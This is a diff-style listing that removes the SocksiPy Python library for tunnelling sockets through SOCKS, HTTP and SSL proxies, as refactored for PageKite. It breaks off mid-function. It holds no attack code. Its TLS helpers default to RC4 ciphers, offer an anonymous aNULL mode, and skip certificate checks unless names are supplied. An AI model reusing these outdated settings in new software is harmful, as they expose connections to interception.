-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO -EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA -OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT -OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. - - -This module provides a standard socket-like interface for Python -for tunneling connections through SOCKS proxies. - -""" - -""" - -Refactored to allow proxy chaining and use as a command-line netcat-like -tool by Bjarni R. Einarsson (http://bre.klaki.net/) for use with PageKite -(http://pagekite.net/). - -Minor modifications made by Christopher Gilbert (http://motomastyle.com/) -for use in PyLoris (http://pyloris.sourceforge.net/) - -Minor modifications made by Mario Vilas (http://breakingcode.wordpress.com/) -mainly to merge bug fixes found in Sourceforge - -""" - -import base64 -import errno -import os -import select -import socket -import struct -import sys -import threading - -PY2 = (2, 0) < sys.version_info < (3, 0) -if PY2: - b = lambda s: s -else: - b = lambda s: s.encode("latin-1") - -DEBUG = False -DEFAULT_TIMEOUT = 30 -# def DEBUG(foo): print foo - - -##[ SSL compatibility code ]################################################## - -import hashlib - - -def sha1hex(data): - hl = hashlib.sha1() - hl.update(data) - return hl.hexdigest().lower() - - -def SSL_CheckName(commonName, digest, valid_names): - try: - digest = str(digest, "iso-8859-1") - except TypeError: - pass - digest = digest.replace(":", "") - pairs = [(commonName, "%s/%s" % (commonName, digest))] - valid = 0 - - if commonName.startswith("*."): - commonName = commonName[1:].lower() - for name in valid_names: - name = name.split("/")[0].lower() - if ("." + name).endswith(commonName): - pairs.append((name, "%s/%s" % (name, digest))) - - for commonName, cNameDigest in pairs: - if (commonName in valid_names) or (cNameDigest in valid_names): - valid += 1 - - if DEBUG: - DEBUG(("*** Cert score: %s (%s ?= %s)") % (valid, pairs, valid_names)) - return valid - - -HAVE_SSL = False -HAVE_PYOPENSSL = False -TLS_CA_CERTS = "/etc/ssl/certs/ca-certificates.crt" -try: - if sys.version_info >= (3,): - raise ImportError("pyOpenSSL disabled (Python 3)") - if "--nopyopenssl" in sys.argv or "--nossl" in sys.argv: - raise ImportError("pyOpenSSL disabled") - - from OpenSSL import SSL - - HAVE_SSL = HAVE_PYOPENSSL = True - - def SSL_Connect( - ctx, sock, server_side=False, accepted=False, connected=False, verify_names=None - ): - if DEBUG: - DEBUG("*** TLS is provided by pyOpenSSL") - if verify_names: - - def vcb(conn, x509, errno, depth, rc): - if errno != 0: - return False - if depth != 0: - return True - return ( - SSL_CheckName( - x509.get_subject().commonName.lower(), - x509.digest("sha1"), - verify_names, - ) - > 0 - ) - - ctx.set_verify(SSL.VERIFY_PEER | SSL.VERIFY_FAIL_IF_NO_PEER_CERT, vcb) - else: - - def vcb(conn, x509, errno, depth, rc): - return errno == 0 - - ctx.set_verify(SSL.VERIFY_NONE, vcb) - - nsock = SSL.Connection(ctx, sock) - if accepted: - nsock.set_accept_state() - if connected: - nsock.set_connect_state() - if verify_names: - nsock.do_handshake() - - return nsock - -except ImportError: - try: - if "--nossl" in sys.argv: - raise ImportError("SSL disabled") - - import ssl - - HAVE_SSL = True - - class SSL(object): - TLSv1_METHOD = ssl.PROTOCOL_TLSv1 - WantReadError = ssl.SSLError - - class Error(Exception): - pass - - class SysCallError(Exception): - pass - - class WantWriteError(Exception): - pass - - class ZeroReturnError(Exception): - pass - - class Context(object): - def __init__(self, method): - self.method = method - self.privatekey_file = None - self.certchain_file = None - self.ca_certs = None - self.ciphers = None - self.options = 0 - - def use_privatekey_file(self, fn): - self.privatekey_file = fn - - def use_certificate_chain_file(self, fn): - self.certchain_file = fn - - def set_cipher_list(self, ciphers): - self.ciphers = ciphers - - def load_verify_locations(self, pemfile, capath=None): - self.ca_certs = pemfile - - def set_options(self, options): # FIXME: this does nothing - self.options = options - - if hasattr(ssl, "PROTOCOL_SSLv23"): - SSL.SSLv23_METHOD = ssl.PROTOCOL_SSLv23 - if hasattr(ssl, "OP_NO_SSLv2"): - SSL.OP_NO_SSLv2 = ssl.OP_NO_SSLv2 - if hasattr(ssl, "OP_NO_SSLv3"): - SSL.OP_NO_SSLv3 = ssl.OP_NO_SSLv3 - if hasattr(ssl, "OP_NO_COMPRESSION"): - SSL.OP_NO_COMPRESSION = ssl.OP_NO_COMPRESSION - if hasattr(ssl, "PROTOCOL_TLS"): - SSL.TLS_METHOD = ssl.PROTOCOL_TLS - - def SSL_CheckPeerName(fd, names): - cert = fd.getpeercert() - certhash = sha1hex(fd.getpeercert(binary_form=True)) - if not cert: - return None - valid = 0 - for field in cert["subject"]: - if field[0][0].lower() == "commonname": - valid += SSL_CheckName(field[0][1].lower(), certhash, names) - - if "subjectAltName" in cert: - for field in cert["subjectAltName"]: - if field[0].lower() == "dns": - name = field[1].lower() - valid += SSL_CheckName(name, certhash, names) - - return valid > 0 - - def SSL_Connect( - ctx, - sock, - server_side=False, - accepted=False, - connected=False, - verify_names=None, - ): - if DEBUG: - DEBUG("*** TLS is provided by native Python ssl") - reqs = verify_names and ssl.CERT_REQUIRED or ssl.CERT_NONE - try: - fd = ssl.wrap_socket( - sock, - keyfile=ctx.privatekey_file, - certfile=ctx.certchain_file, - cert_reqs=reqs, - ca_certs=ctx.ca_certs, - do_handshake_on_connect=False, - ssl_version=ctx.method, - ciphers=ctx.ciphers, - server_side=server_side, - ) - except: - fd = ssl.wrap_socket( - sock, - keyfile=ctx.privatekey_file, - certfile=ctx.certchain_file, - cert_reqs=reqs, - ca_certs=ctx.ca_certs, - do_handshake_on_connect=False, - ssl_version=ctx.method, - server_side=server_side, - ) - - if verify_names: - fd.do_handshake() - if not SSL_CheckPeerName(fd, verify_names): - raise SSL.Error(("Cert not in %s (%s)") % (verify_names, reqs)) - return fd - - except ImportError: - - class SSL(object): - # Mock to let our try/except clauses below not fail. - class Error(Exception): - pass - - class SysCallError(Exception): - pass - - class WantReadError(Exception): - pass - - class WantWriteError(Exception): - pass - - class ZeroReturnError(Exception): - pass - - -def DisableSSLCompression(): - # Why? Disabling compression in OpenSSL may reduce memory usage *lots*. - - # If there is a sslzliboff module available, prefer that. - # See https://github.com/hausen/SSLZlibOff for working code. - try: - import sslzliboff - - sslzliboff.disableZlib() - return - except: - pass - - # Otherwise, fall through to the following hack. - # Source: - # http://journal.paul.querna.org/articles/2011/04/05/openssl-memory-use/ - try: - import ctypes - import glob - - openssl = ctypes.CDLL(None, ctypes.RTLD_GLOBAL) - try: - f = openssl.SSL_COMP_get_compression_methods - except AttributeError: - ssllib = sorted(glob.glob("/usr/lib/libssl.so.*"))[0] - openssl = ctypes.CDLL(ssllib, ctypes.RTLD_GLOBAL) - - openssl.SSL_COMP_get_compression_methods.restype = ctypes.c_void_p - openssl.sk_zero.argtypes = [ctypes.c_void_p] - openssl.sk_zero(openssl.SSL_COMP_get_compression_methods()) - except Exception: - if DEBUG: - DEBUG("disableSSLCompression: Failed") - - -def MakeBestEffortSSLContext(weak=False, legacy=False, anonymous=False, ciphers=None): - ssl_version, ssl_options = SSL.TLSv1_METHOD, 0 - if hasattr(SSL, "SSLv23_METHOD") and (weak or legacy): - ssl_version = SSL.SSLv23_METHOD - - if hasattr(SSL, "OP_NO_SSLv2") and not weak: - ssl_version = SSL.SSLv23_METHOD - ssl_options |= SSL.OP_NO_SSLv2 - if hasattr(SSL, "OP_NO_SSLv3") and not (weak or legacy): - ssl_version = SSL.SSLv23_METHOD - ssl_options |= SSL.OP_NO_SSLv3 - if hasattr(SSL, "TLS_METHOD") and not (weak or legacy): - ssl_version = SSL.TLS_METHOD - - if hasattr(SSL, "OP_NO_COMPRESSION"): - ssl_options |= SSL.OP_NO_COMPRESSION - - if not ciphers: - if anonymous: - # Insecure and use anon ciphers - this is just camoflage - ciphers = "aNULL" - else: - ciphers = "HIGH:-aNULL:-eNULL:-PSK:RC4-SHA:RC4-MD5" - - if DEBUG: - DEBUG( - "*** Context: ssl_version=%x, ssl_options=%x, ciphers=%s" - % (ssl_version, ssl_options, ciphers) - ) - ctx = SSL.Context(ssl_version) - ctx.set_options(ssl_options) - ctx.set_cipher_list(ciphers) - return ctx - - -##[ SocksiPy itself ]######################################################### - -PROXY_TYPE_DEFAULT = -1 -PROXY_TYPE_NONE = 0 -PROXY_TYPE_SOCKS4 = 1 -PROXY_TYPE_SOCKS5 = 2 -PROXY_TYPE_HTTP = 3 -PROXY_TYPE_SSL = 4 -PROXY_TYPE_SSL_WEAK = 5 -PROXY_TYPE_SSL_ANON = 6 -PROXY_TYPE_TOR = 7 -PROXY_TYPE_HTTPS = 8 -PROXY_TYPE_HTTP_CONNECT = 9 -PROXY_TYPE_HTTPS_CONNECT = 10 - -PROXY_SSL_TYPES = ( - PROXY_TYPE_SSL, - PROXY_TYPE_SSL_WEAK, - PROXY_TYPE_SSL_ANON, - PROXY_TYPE_HTTPS, - PROXY_TYPE_HTTPS_CONNECT, -) -PROXY_HTTP_TYPES = (PROXY_TYPE_HTTP, PROXY_TYPE_HTTPS) -PROXY_HTTPC_TYPES = (PROXY_TYPE_HTTP_CONNECT, PROXY_TYPE_HTTPS_CONNECT) -PROXY_SOCKS5_TYPES = (PROXY_TYPE_SOCKS5, PROXY_TYPE_TOR) -PROXY_DEFAULTS = { - PROXY_TYPE_NONE: 0, - PROXY_TYPE_DEFAULT: 0, - PROXY_TYPE_HTTP: 8080, - PROXY_TYPE_HTTP_CONNECT: 8080, - PROXY_TYPE_SOCKS4: 1080, - PROXY_TYPE_SOCKS5: 1080, - PROXY_TYPE_TOR: 9050, -} -PROXY_TYPES = { - "none": PROXY_TYPE_NONE, - "default": PROXY_TYPE_DEFAULT, - "defaults": PROXY_TYPE_DEFAULT, - "http": PROXY_TYPE_HTTP, - "httpc": PROXY_TYPE_HTTP_CONNECT, - "socks": PROXY_TYPE_SOCKS5, - "socks4": PROXY_TYPE_SOCKS4, - "socks4a": PROXY_TYPE_SOCKS4, - "socks5": PROXY_TYPE_SOCKS5, - "tor": PROXY_TYPE_TOR, -} - -if HAVE_SSL: - PROXY_DEFAULTS.update( - { - PROXY_TYPE_HTTPS: 443, - PROXY_TYPE_HTTPS_CONNECT: 443, - PROXY_TYPE_SSL: 443, - PROXY_TYPE_SSL_WEAK: 443, - PROXY_TYPE_SSL_ANON: 443, - } - ) - PROXY_TYPES.update( - { - "https": PROXY_TYPE_HTTPS, - "httpcs": PROXY_TYPE_HTTPS_CONNECT, - "ssl": PROXY_TYPE_SSL, - "ssl-anon": PROXY_TYPE_SSL_ANON, - "ssl-weak": PROXY_TYPE_SSL_WEAK, - } - ) - -P_TYPE = 0 -P_HOST = 1 -P_PORT = 2 -P_RDNS = 3 -P_USER = 4 -P_PASS = P_CACERTS = 5 -P_CERTS = 6 - -DEFAULT_ROUTE = "*" -_proxyroutes = {} -_orgsocket = socket.socket -_orgcreateconn = getattr(socket, "create_connection", None) -_thread_locals = threading.local() - - -class ProxyError(Exception): - pass - - -class GeneralProxyError(ProxyError): - pass - - -class Socks5AuthError(ProxyError): - pass - - -class Socks5Error(ProxyError): - pass - - -class Socks4Error(ProxyError): - pass - - -class HTTPError(ProxyError): - pass - - -_generalerrors = ( - "success", - "invalid data", - "not connected", - "not available", - "bad proxy type", - "bad input", -) - -_socks5errors = ( - "succeeded", - "general SOCKS server failure", - "connection not allowed by ruleset", - "Network unreachable", - "Host unreachable", - "Connection refused", - "TTL expired", - "Command not supported", - "Address type not supported", - "Unknown error", -) - -_socks5autherrors = ( - "succeeded", - "authentication is required", - "all offered authentication methods were rejected", - "unknown username or invalid password", - "unknown error", -) - -_socks4errors = ( - "request granted", - "request rejected or failed", - "request rejected because SOCKS server cannot connect to identd on the client", - "request rejected because the client program and identd report different user-ids", - "unknown error", -) - - -def parseproxy(arg): - # This silly function will do a quick-and-dirty parse of our argument - # into a proxy specification array. It lets people omit stuff. - if "!" in arg: - # Prefer ! to :, because it works with IPv6 addresses. - args = arg.split("!") - else: - # This is a bit messier to accept common URL syntax - if arg.endswith("/"): - arg = arg[:-1] - args = arg.replace("://", ":").replace("/:", ":").split(":") - args[0] = PROXY_TYPES[args[0] or "http"] - - if (len(args) in (3, 4, 5)) and ("@" in args[2]): - # Re-order http://user:pass@host:port/ => http:host:port:user:pass - pwd, host = args[2].split("@") - user = args[1] - args[1:3] = [host] - if len(args) == 2: - args.append(PROXY_DEFAULTS[args[0]]) - if len(args) == 3: - args.append(False) - args.extend([user, pwd]) - elif (len(args) in (2, 3, 4)) and ("@" in args[1]): - user, host = args[1].split("@") - args[1] = host - if len(args) == 2: - args.append(PROXY_DEFAULTS[args[0]]) - if len(args) == 3: - args.append(False) - args.append(user) - - if len(args) == 2: - args.append(PROXY_DEFAULTS[args[0]]) - if len(args) > 2: - args[2] = int(args[2]) - - if args[P_TYPE] in PROXY_SSL_TYPES: - names = (args[P_HOST] or "").split(",") - args[P_HOST] = names[0] - while len(args) <= P_CERTS: - args.append((len(args) == P_RDNS) and True or None) - args[P_CERTS] = (len(names) > 1) and names[1:] or names - - return args - - -def addproxy( - dest="*", - proxytype=None, - addr=None, - port=None, - rdns=True, - username=None, - password=None, - certnames=None, -): - global _proxyroutes - route = _proxyroutes.get(dest.lower(), None) - proxy = (proxytype, addr, port, rdns, username, password, certnames) - if route is None: - route = _proxyroutes.get(DEFAULT_ROUTE, [])[:] - route.append(proxy) - _proxyroutes[dest.lower()] = route - if DEBUG: - DEBUG("Routes are: %s" % (_proxyroutes,)) - - -def setproxy(dest, *args, **kwargs): - global _proxyroutes - dest = dest.lower() - if args: - _proxyroutes[dest] = [] - return addproxy(dest, *args, **kwargs) - else: - if dest in _proxyroutes: - del _proxyroutes[dest.lower()] - - -def setdefaultcertfile(path): - global TLS_CA_CERTS - TLS_CA_CERTS = path - - -def setdefaultproxy(*args, **kwargs): - """setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password[, certnames]]]]]) - Sets a default proxy which all further socksocket objects will use, - unless explicitly changed. - """ - if args and args[P_TYPE] == PROXY_TYPE_DEFAULT: - raise ValueError("Circular reference to default proxy.") - return setproxy(DEFAULT_ROUTE, *args, **kwargs) - - -def adddefaultproxy(*args, **kwargs): - if args and args[P_TYPE] == PROXY_TYPE_DEFAULT: - raise ValueError("Circular reference to default proxy.") - return addproxy(DEFAULT_ROUTE, *args, **kwargs) - - -def usesystemdefaults(): - import os - - no_proxy = ["localhost", "localhost.localdomain", "127.0.0.1"] - no_proxy.extend( - os.environ.get("NO_PROXY", os.environ.get("NO_PROXY", "")).split(",") - ) - for host in no_proxy: - setproxy(host, PROXY_TYPE_NONE) - - for var in ("ALL_PROXY", "HTTPS_PROXY", "http_proxy"): - val = os.environ.get(var.lower(), os.environ.get(var, None)) - if val: - setdefaultproxy(*parseproxy(val)) - os.environ[var] = "" - return - - -def sockcreateconn(*args, **kwargs): - _thread_locals.create_conn = args[0] - try: - rv = _orgcreateconn(*args, **kwargs) - return rv - finally: - del _thread_locals.create_conn - - -class socksocket(socket.socket): - """socksocket([family[, type[, proto]]]) -> socket object - Open a SOCKS enabled socket. The parameters are the same as - those of the standard socket init. In order for SOCKS to work, - you must specify family=AF_INET, type=SOCK_STREAM and proto=0. - """ - - def __init__( - self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, *args, **kwargs - ): - self.__family = family - self.__type = type - self.__proto = proto - self.__args = args - self.__kwargs = kwargs - self.__sock = _orgsocket( - family, self.__type, self.__proto, *self.__args, **self.__kwargs - ) - self.__proxy = None - self.__proxysockname = None - self.__proxypeername = None - self.__makefile_refs = 0 - self.__buffer = b"" - self.__negotiating = False - self.__override = [ - "addproxy", - "setproxy", - "getproxysockname", - "getproxypeername", - "close", - "connect", - "getpeername", - "makefile", - "recv", - "recv_into", - ] # , 'send', 'sendall'] - - def __getattribute__(self, name): - if name.startswith("_socksocket__"): - return object.__getattribute__(self, name) - elif name in self.__override: - return object.__getattribute__(self, name) - else: - return getattr(object.__getattribute__(self, "_socksocket__sock"), name) - - def __setattr__(self, name, value): - if name.startswith("_socksocket__"): - return object.__setattr__(self, name, value) - else: - return setattr( - object.__getattribute__(self, "_socksocket__sock"), name, value - ) - - def __settimeout(self, timeout): - try: - self.__sock.settimeout(timeout) - except: - # Python 2.2 compatibility hacks. - pass - - def __recvall(self, count): - """__recvall(count) -> data - Receive EXACTLY the number of bytes requested from the socket. - Blocks until the required number of bytes have been received or a - timeout occurs. - """ - self.__sock.setblocking(1) - self.__settimeout(DEFAULT_TIMEOUT) - - data = self.recv(count) - while len(data) < count: - d = self.recv(count - len(data)) - if d == "": - raise GeneralProxyError((0, "connection closed unexpectedly")) - data = data + d - return data - - def close(self): - if self.__makefile_refs < 1: - self.__sock.close() - else: - self.__makefile_refs -= 1 - - def makefile(self, mode="r", bufsize=-1): - self.__makefile_refs += 1 - if PY2: - return socket._fileobject(self, mode, bufsize, close=True) - else: - return socket.SocketIO(self, mode) - - def addproxy( - self, - proxytype=None, - addr=None, - port=None, - rdns=True, - username=None, - password=None, - certnames=None, - ): - """setproxy(proxytype, addr[, port[, rdns[, username[, password[, certnames]]]]]) - Sets the proxy to be used. - proxytype - The type of the proxy to be used. Three types - are supported: PROXY_TYPE_SOCKS4 (including socks4a), - PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP - addr - The address of the server (IP or DNS). - port - The port of the server. Defaults to 1080 for SOCKS - servers and 8080 for HTTP proxy servers. - rdns - Should DNS queries be preformed on the remote side - (rather than the local side). The default is True. - Note: This has no effect with SOCKS4 servers. - username - Username to authenticate with to the server. - The default is no authentication. - password - Password to authenticate with to the server. - Only relevant when username is also provided. - """ - proxy = (proxytype, addr, port, rdns, username, password, certnames) - if not self.__proxy: - self.__proxy = [] - self.__proxy.append(proxy) - - def setproxy(self, *args, **kwargs): - """setproxy(proxytype, addr[, port[, rdns[, username[, password[, certnames]]]]]) - (see addproxy) - """ - self.__proxy = [] - self.addproxy(*args, **kwargs) - - def __negotiatesocks5(self, destaddr, destport, proxy): - """__negotiatesocks5(self, destaddr, destport, proxy) - Negotiates a connection through a SOCKS5 server. - """ - # First we'll send the authentication packages we support. - if (proxy[P_USER] != None) and (proxy[P_PASS] != None): - # The username/password details were supplied to the - # setproxy method so we support the USERNAME/PASSWORD - # authentication (in addition to the standard none). - self.sendall(struct.pack("BBBB", 0x05, 0x02, 0x00, 0x02)) - else: - # No username/password were entered, therefore we - # only support connections with no authentication. - self.sendall(struct.pack("BBB", 0x05, 0x01, 0x00)) - # We'll receive the server's response to determine which - # method was selected - chosenauth = self.__recvall(2) - if chosenauth[0:1] != chr(0x05).encode(): - self.close() - raise GeneralProxyError((1, _generalerrors[1])) - # Check the chosen authentication method - if chosenauth[1:2] == chr(0x00).encode(): - # No authentication is required - pass - elif chosenauth[1:2] == chr(0x02).encode(): - # Okay, we need to perform a basic username/password - # authentication. - self.sendall( - chr(0x01).encode() - + chr(len(proxy[P_USER])) - + proxy[P_USER] - + chr(len(proxy[P_PASS])) - + proxy[P_PASS] - ) - authstat = self.__recvall(2) - if authstat[0:1] != chr(0x01).encode(): - # Bad response - self.close() - raise GeneralProxyError((1, _generalerrors[1])) - if authstat[1:2] != chr(0x00).encode(): - # Authentication failed - self.close() - raise Socks5AuthError((3, _socks5autherrors[3])) - # Authentication succeeded - else: - # Reaching here is always bad - self.close() - if chosenauth[1] == chr(0xFF).encode(): - raise Socks5AuthError((2, _socks5autherrors[2])) - else: - raise GeneralProxyError((1, _generalerrors[1])) - # Now we can request the actual connection - req = struct.pack("BBB", 0x05, 0x01, 0x00) - # If the given destination address is an IP address, we'll - # use the IPv4 address request even if remote resolving was specified. - try: - ipaddr = socket.inet_aton(destaddr) - if isinstance(ipaddr, str): - ipaddr = ipaddr.encode("latin-1") - req = req + chr(0x01).encode() + ipaddr - except socket.error: - # Well it's not an IP number, so it's probably a DNS name. - if proxy[P_RDNS]: - # Resolve remotely - ipaddr = None - req = req + ( - chr(0x03).encode() + chr(len(destaddr)).encode() + b(destaddr) - ) - else: - # Resolve locally - ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) - if isinstance(ipaddr, str): - ipaddr = ipaddr.encode("UTF-8") - req = req + chr(0x01).encode() + ipaddr - req = req + struct.pack(">H", destport) - self.sendall(req) - # Get the response - resp = self.__recvall(4) - if resp[0:1] != chr(0x05).encode(): - self.close() - raise GeneralProxyError((1, _generalerrors[1])) - elif resp[1:2] != chr(0x00).encode(): - # Connection failed - self.close() - if ord(resp[1:2]) <= 8: - raise Socks5Error((ord(resp[1:2]), _socks5errors[ord(resp[1:2])])) - else: - raise Socks5Error((9, _socks5errors[9])) - # Get the bound address/port - elif resp[3:4] == chr(0x01).encode(): - boundaddr = self.__recvall(4) - elif resp[3:4] == chr(0x03).encode(): - resp = resp + self.recv(1) - boundaddr = self.__recvall(ord(resp[4:5])) - else: - self.close() - raise GeneralProxyError((1, _generalerrors[1])) - boundport = struct.unpack(">H", self.__recvall(2))[0] - self.__proxysockname = (boundaddr, boundport) - if ipaddr != None: - self.__proxypeername = (socket.inet_ntoa(ipaddr), destport) - else: - self.__proxypeername = (destaddr, destport) - - def getproxysockname(self): - """getsockname() -> address info - Returns the bound IP address and port number at the proxy. - """ - return self.__proxysockname - - def getproxypeername(self): - """getproxypeername() -> address info - Returns the IP and port number of the proxy. - """ - return _orgsocket.getpeername(self) - - def getpeername(self): - """getpeername() -> address info - Returns the IP address and port number of the destination - machine (note: getproxypeername returns the proxy) - """ - return self.__proxypeername - - def __negotiatesocks4(self, destaddr, destport, proxy): - """__negotiatesocks4(self, destaddr, destport, proxy) - Negotiates a connection through a SOCKS4 server. - """ - # Check if the destination address provided is an IP address - rmtrslv = False - try: - ipaddr = socket.inet_aton(destaddr) - except socket.error: - # It's a DNS name. Check where it should be resolved. - if proxy[P_RDNS]: - ipaddr = struct.pack("BBBB", 0x00, 0x00, 0x00, 0x01) - rmtrslv = True - else: - ipaddr = socket.inet_aton(socket.gethostbyname(destaddr)) - # Construct the request packet - req = struct.pack(">BBH", 0x04, 0x01, destport) + ipaddr - # The username parameter is considered userid for SOCKS4 - if proxy[P_USER] != None: - req = req + proxy[P_USER] - req = req + chr(0x00).encode() - # DNS name if remote resolving is required - # NOTE: This is actually an extension to the SOCKS4 protocol - # called SOCKS4A and may not be supported in all cases. - if rmtrslv: - req = req + destaddr + chr(0x00).encode() - self.sendall(req) - # Get the response from the server - resp = self.__recvall(8) - if resp[0:1] != chr(0x00).encode(): - # Bad data - self.close() - raise GeneralProxyError((1, _generalerrors[1])) - if resp[1:2] != chr(0x5A).encode(): - # Server returned an error - self.close() - if ord(resp[1:2]) in (91, 92, 93): - self.close() - raise Socks4Error((ord(resp[1:2]), _socks4errors[ord(resp[1:2]) - 90])) - else: - raise Socks4Error((94, _socks4errors[4])) - # Get the bound address/port - self.__proxysockname = ( - socket.inet_ntoa(resp[4:]), - struct.unpack(">H", resp[2:4])[0], - ) - if rmtrslv != None: - self.__proxypeername = (socket.inet_ntoa(ipaddr), destport) - else: - self.__proxypeername = (destaddr, destport) - - def __getproxyauthheader(self, proxy): - if proxy[P_USER] and proxy[P_PASS]: - auth = proxy[P_USER] + ":" + proxy[P_PASS] - return "Proxy-Authorization: Basic %s\r\n" % base64.b64encode(auth) - else: - return b"" - - def __stop_http_negotiation(self): - buf = self.__buffer - host, port, proxy = self.__negotiating - self.__buffer = self.__negotiating = None - self.__override.remove("send") - self.__override.remove("sendall") - return (buf, host, port, proxy) - - def recv(self, count, flags=0): - if self.__negotiating: - # If the calling code tries to read before negotiating is done, - # assume this is not HTTP, bail and attempt HTTP CONNECT. - if DEBUG: - DEBUG("*** Not HTTP, failing back to HTTP CONNECT.") - buf, host, port, proxy = self.__stop_http_negotiation() - self.__negotiatehttpconnect(host, port, proxy) - self.__sock.sendall(buf) - while True: - try: - return self.__sock.recv(count, flags) - except SSL.SysCallError: - return "" - except SSL.WantReadError: - pass - - def recv_into(self, buf, nbytes=0, flags=0): - if self.__negotiating: - # If the calling code tries to read before negotiating is done, - # assume this is not HTTP, bail and attempt HTTP CONNECT. - if DEBUG: - DEBUG("*** Not HTTP, failing back to HTTP CONNECT.") - buf, host, port, proxy = self.__stop_http_negotiation() - self.__negotiatehttpconnect(host, port, proxy) - self.__sock.sendall(buf) - while True: - try: - return self.__sock.recv_into(buf, nbytes, flags) - except SSL.SysCallError: - return 0 - except SSL.WantReadError: - pass - - def send(self, *args, **kwargs): - if self.__negotiating: - self.__buffer += args[0] - self.__negotiatehttpproxy() - else: - return self.__sock.send(*args, **kwargs) - - def sendall(self, *args, **kwargs): - if self.__negotiating: - self.__buffer += args[0] - self.__negotiatehttpproxy() - else: - return self.__sock.sendall(*args, **kwargs) - - def __negotiatehttp(self, destaddr, destport, proxy): - """__negotiatehttpproxy(self, destaddr, destport, proxy) - Negotiates a connection through an HTTP proxy server. - """ - if destport in (21, 22, 23, 25, 109, 110, 143, 220, 443, 993, 995): - # Go straight to HTTP CONNECT for anything related to e-mail, - # SSH, telnet, FTP, SSL, ... - self.__negotiatehttpconnect(destaddr, destport, proxy) - else: - if DEBUG: - DEBUG("*** Transparent HTTP proxy mode...") - self.__negotiating = (destaddr, destport, proxy) - self.__override.extend(["send", "sendall"]) - - def __negotiatehttpproxy(self): - """__negotiatehttp(self, destaddr, destport, proxy) - Negotiates an HTTP request through an HTTP proxy server. - """ - buf = self.__buffer - host, port, proxy = self.__negotiating - - # If our buffer is tiny, wait for data. - if len(buf) <= 3: - return - - # If not HTTP, fall back to HTTP CONNECT. - if buf[0:3].lower() not in ( - b"get", - b"pos", - b"hea", - b"put", - b"del", - b"opt", - b"pro", - ): - if DEBUG: - DEBUG("*** Not HTTP, failing back to HTTP CONNECT.") - self.__stop_http_negotiation() - self.__negotiatehttpconnect(host, port, proxy) - self.__sock.sendall(buf) - return - - # Have we got the end of the headers? - if buf.find("\r\n\r\n".encode()) != -1: - CRLF = b"\r\n" - elif buf.find("\n\n".encode()) != -1: - CRLF = b"\n" - else: - # Nope - return - - # Remove our send/sendall hooks. - self.__stop_http_negotiation() - - # Format the proxy request. - host += ":%d" % port - headers_socks = buf.split(CRLF) - for hdr in headers_socks: - if hdr.lower().startswith(b"host: "): - host = hdr[6:] - req = headers_socks[0].split(b" ", 1) - # headers[0] = f'{req[0].decode("UTF-8")} http://{host.decode("UTF-8")}{req[1].decode("UTF-8")}'.encode('UTF-8') - headers_raw = ( - req[0].decode("UTF-8") - + " http://" - + host.decode("UTF-8") - + req[1].decode("UTF-8") - ) - headers_socks[0] = headers_raw.encode("UTF-8") - headers_socks[1] = self.__getproxyauthheader(proxy) + headers_socks[1] - - # Send it! - if DEBUG: - DEBUG("*** Proxy request:\n%s***" % CRLF.join(headers_socks)) - self.__sock.sendall(CRLF.join(headers_socks)) - - def __negotiatehttpconnect(self, destaddr, destport, proxy): - """__negotiatehttp(self, destaddr, destport, proxy) - Negotiates an HTTP CONNECT through an HTTP proxy server. - """ - # If we need to resolve locally, we do this now - if not proxy[P_RDNS]: - addr = socket.gethostbyname(destaddr) - else: - addr = destaddr - self.__sock.sendall( - ( - "CONNECT " - + addr - + ":" - + str(destport) - + " HTTP/1.1\r\n" - + self.__getproxyauthheader(proxy).decode("UTF-8") - + "Host: " - + destaddr - + "\r\n\r\n" - ).encode() - ) - # We read the response until we get "\r\n\r\n" or "\n\n" - resp = self.__recvall(1) - while resp.find("\r\n\r\n".encode()) == -1 and resp.find("\n\n".encode()) == -1: - resp = resp + self.__recvall(1) - # We just need the first line to check if the connection - # was successful - statusline = resp.splitlines()[0].split(" ".encode(), 2) - if statusline[0] not in ("HTTP/1.0".encode(), "HTTP/1.1".encode()): - self.close() - raise GeneralProxyError((1, _generalerrors[1])) - try: - statuscode = int(statusline[1]) - except ValueError: - self.close() - raise GeneralProxyError((1, _generalerrors[1])) - if statuscode != 200: - self.close() - raise HTTPError((statuscode, statusline[2])) - self.__proxysockname = ("0.0.0.0", 0) - self.__proxypeername = (addr, destport) - - def __get_ca_certs(self): - return TLS_CA_CERTS - - def __negotiatessl(self, destaddr, destport, proxy, weak=False, anonymous=False): - """__negotiatessl(self, destaddr, destport, proxy) - Negotiates an SSL session. - """ - want_hosts = ca_certs = self_cert = None - if not weak and not anonymous: - # This is normal, secure mode. - self_cert = proxy[P_USER] or None - ca_certs = proxy[P_CACERTS] or self.__get_ca_certs() or None - want_hosts = proxy[P_CERTS] or [proxy[P_HOST]] - - try: - ctx = MakeBestEffortSSLContext(weak=weak, anonymous=anonymous) - if self_cert: - ctx.use_certificate_chain_file(self_cert) - ctx.use_privatekey_file(self_cert) - if ca_certs and want_hosts: - ctx.load_verify_locations(ca_certs) - - self.__sock.setblocking(1) - self.__sock = SSL_Connect( - ctx, self.__sock, connected=True, verify_names=want_hosts - ) - except: - if DEBUG: - DEBUG( - "*** SSL problem: %s/%s/%s" - % (sys.exc_info(), self.__sock, want_hosts) - ) - raise - - self.__encrypted = True - if DEBUG: - DEBUG("*** Wrapped %s:%s in %s" % (destaddr, destport, self.__sock)) - - def __default_route(self, dest): - route = _proxyroutes.get(str(dest).lower(), [])[:] - if not route or route[0][P_TYPE] == PROXY_TYPE_DEFAULT: - route[0:1] = _proxyroutes.get(DEFAULT_ROUTE, []) - while route and route[0][P_TYPE] == PROXY_TYPE_DEFAULT: - route.pop(0) - return route - - def __do_connect(self, addrspec): - if ":" in 